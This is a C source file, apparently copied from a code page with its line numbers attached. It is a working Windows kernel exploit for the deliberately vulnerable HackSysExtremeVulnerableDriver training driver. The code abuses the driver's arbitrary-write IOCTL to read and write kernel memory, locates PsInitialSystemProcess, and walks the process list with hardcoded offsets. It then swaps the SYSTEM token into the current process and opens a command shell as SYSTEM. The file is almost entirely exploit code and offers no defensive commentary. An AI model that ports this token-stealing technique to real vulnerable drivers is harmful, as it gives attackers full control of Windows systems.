1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267
| #include <Windows.h> #include <winternl.h> #include <iostream>
typedef struct _ArbitraryReadBuffer { uintptr_t readAddress; uintptr_t outBuf; } ArbitraryReadBuffer;
typedef struct _ArbitraryWriteBuffer { uintptr_t val; uintptr_t writeAddress; } ArbitraryWriteBuffer;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG NumberOfModules; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
#define SystemModuleInformation ((SYSTEM_INFORMATION_CLASS)11) #define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver" #define HEVD_IOCTL_ARBITRARY_WRITE 0x22200B #define DWUNIQUEPROCESSIDOFFSET 0x440 #define DWACTIVEPROCESSLINKS 0x448 #define DWTOKENOFFSET 0x4b8
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to get handle!\n"); exit(1); }
return hFile; }
UINT64 arb_read(HANDLE hFile, UINT64 target) { bool bResult = FALSE; UINT64 readBuffer = 0; ArbitraryReadBuffer arbReadBuf = { 0 }; arbReadBuf.readAddress = target; arbReadBuf.outBuf = (UINT64)&readBuffer; DWORD junk = 0; #ifdef DEBUG printf("[+] Arb read\n"); #endif bResult = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, &arbReadBuf, sizeof(arbReadBuf), NULL, 0, &junk, (LPOVERLAPPED)NULL);
if (!bResult) { printf("[-] Failed sending IOCTL\n"); exit(0); }
UINT64 result = readBuffer; #ifdef DEBUG printf("[*] Arb read success, target is : 0x%llx, result is : 0x%llx\n", target, result); #endif return result; }
void arb_write(HANDLE hFile, UINT64 target, UINT64 val) { bool bResult = FALSE; UINT64 writeBuffer = 0; ArbitraryWriteBuffer arbWriteBuf = { 0 }; arbWriteBuf.writeAddress = target; arbWriteBuf.val = (UINT64)&val; DWORD junk = 0; #ifdef DEBUG printf("[+] Arb write\n"); #endif bResult = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, &arbWriteBuf, sizeof(arbWriteBuf), NULL, 0, &junk, (LPOVERLAPPED)NULL);
if (!bResult) { printf("[-] Failed sending IOCTL\n"); exit(0); }
#ifdef DEBUG printf("[*] Arb write success, target is : 0x%llx, value is : 0x%llx\n", target, val); #endif }
UINT64 get_kernel_symbol_info(LPCSTR lpSymbolName) { printf("[+] KernelSymbolInfo\n"); DWORD len; PSYSTEM_MODULE_INFORMATION ModuleInfo; LPVOID kernelBase = NULL; PUCHAR kernelImage = NULL; HMODULE hUserSpaceKernel; LPCSTR lpKernelName = NULL; FARPROC pUserKernelSymbol = NULL; FARPROC pLiveFunctionAddress = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { return NULL; }
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!ModuleInfo) { return NULL; }
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = ModuleInfo->Module[0].ImageBase; kernelImage = ModuleInfo->Module[0].FullPathName;
printf("[*] Kernel Full Image Name: %hs \n", kernelImage); printf("[*] Kernel Base Address is at: 0x%llx \n", kernelBase);
lpKernelName = (LPCSTR)ModuleInfo->Module[0].FullPathName + ModuleInfo->Module[0].OffsetToFileName;
hUserSpaceKernel = LoadLibraryExA(lpKernelName, 0, 0); if (hUserSpaceKernel == NULL) { VirtualFree(ModuleInfo, 0, MEM_RELEASE); return NULL; }
pUserKernelSymbol = GetProcAddress(hUserSpaceKernel, lpSymbolName); if (pUserKernelSymbol == NULL) { VirtualFree(ModuleInfo, 0, MEM_RELEASE); return NULL; }
pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpaceKernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpaceKernel); VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return (UINT64)pLiveFunctionAddress; }
void change_token(HANDLE hFile) { LPCSTR lpFunctionName = "PsInitialSystemProcess"; UINT64 fpFunctionAddress = get_kernel_symbol_info(lpFunctionName);
if (fpFunctionAddress == NULL) { printf("[-] Unable to find memory address!\n"); CloseHandle(hFile); exit(0); } printf("[+] Get fpFunctionAddress : 0x%llx\n", fpFunctionAddress);
UINT64 lpSystemEPROCESS = arb_read(hFile, fpFunctionAddress); UINT64 lpSysProcID = arb_read(hFile, lpSystemEPROCESS + DWUNIQUEPROCESSIDOFFSET); LIST_ENTRY leNextProcessLink; leNextProcessLink.Flink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS); leNextProcessLink.Blink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS + 0x8); UINT64 lpSystemToken = arb_read(hFile, lpSystemEPROCESS + DWTOKENOFFSET);
DWORD dwSysProcID = LOWORD(lpSysProcID);
printf("[+] System _EPROCESS is at: 0x%llx \n", lpSystemEPROCESS); printf("[+] System PID is: %u \n", dwSysProcID); printf("[+] System _LIST_ENTRY is at: 0x%llx \n", (UINT64)leNextProcessLink.Flink); printf("[+] System Token is: 0x%llx \n", lpSystemToken);
printf("[*] Reading Current _EPROCESS structure");
DWORD dwPID = GetCurrentProcessId(); UINT64 lpNextEPROCESS = NULL; UINT64 lpCurrentPID = NULL; UINT64 lpCurrentToken = NULL; DWORD dwCurrentPID; do { lpNextEPROCESS = (UINT64)leNextProcessLink.Flink - DWACTIVEPROCESSLINKS; lpCurrentPID = arb_read(hFile, lpNextEPROCESS + DWUNIQUEPROCESSIDOFFSET); lpCurrentToken = arb_read(hFile, lpNextEPROCESS + DWTOKENOFFSET);
leNextProcessLink.Flink = (LIST_ENTRY*)arb_read(hFile, lpNextEPROCESS + DWACTIVEPROCESSLINKS); leNextProcessLink.Blink = (LIST_ENTRY*)arb_read(hFile, lpSystemEPROCESS + DWACTIVEPROCESSLINKS + 0x8);
dwCurrentPID = LOWORD(lpCurrentPID);
} while (dwCurrentPID != dwPID);
printf("[+] Current _EPROCESS Structure is at: 0x%llx \n", lpNextEPROCESS); printf("[+] Current Process ID is: %u \n", dwCurrentPID); printf("[+] Current _EPROCESS Token address is at: 0x%llx \n", lpNextEPROCESS + DWTOKENOFFSET); printf("[+] Current Process Token is: 0x%llx \n", lpCurrentToken);
printf("[*] Replace Current Token\n");
arb_write(hFile, lpNextEPROCESS + DWTOKENOFFSET, lpSystemToken);
printf("[+] Done\n"); }
void spawn_shell() {
PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si; ZeroMemory(&si, sizeof(si));
printf("[>] shell!\n");
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); }
int main() { HANDLE hFile = grab_handle(); change_token(hFile); spawn_shell(); }
|